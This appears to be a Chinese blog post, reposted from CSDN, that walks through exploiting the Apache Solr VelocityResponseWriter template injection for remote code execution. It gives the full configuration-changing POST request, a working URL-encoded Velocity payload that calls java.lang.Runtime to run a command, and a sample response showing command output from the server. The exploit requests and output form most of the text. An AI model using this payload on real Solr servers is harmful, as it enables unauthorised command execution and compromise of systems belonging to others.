Apache_Solr_RCE_via_Velocity_template

Apache Solr 默认集成 VelocityResponseWriter 插件

该插件初始化参数中的
params.resource.loader.enabled
用来控制是否允许参数资源加载器在 Solr 请求参数中指定模版

该参数默认值是False,可以通过构造 POST 请求直接修改集合设置,

params.resource.loader.enabled设置为true

然后构造GET请求来进行远程代码执行漏洞

0x01获取core name

访问Core Admin得到core name,文章请求url中’test’为core name,实际使用需要修改。

如果没有core Admin,可以直接访问

url/solr/admin/cores?wt=json&indexInfo=false

有的没有Core Admin按钮
直接访问 url/solr/admin/cores?wt=json&indexInfo=false

0x02查看配置是否允许

访问 url/solr/core name/config

查找 solr.resource.loader.enabled 是否为 true

如果为true,直接进入第二步,否则构造POST包将配置修改为true。

POST /solr/test/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }

}

0x03漏洞利用

访问core name并构造exp:

GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8983
========================================================================


Response:
========================================================================
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 56

     0  uid=8983(solr) gid=8983(solr) groups=8983(solr)
========================================================================
发布了44 篇原创文章 · 获赞 12 · 访问量 5546

猜你喜欢

转载自blog.csdn.net/qq_39326816/article/details/103037309
今日推荐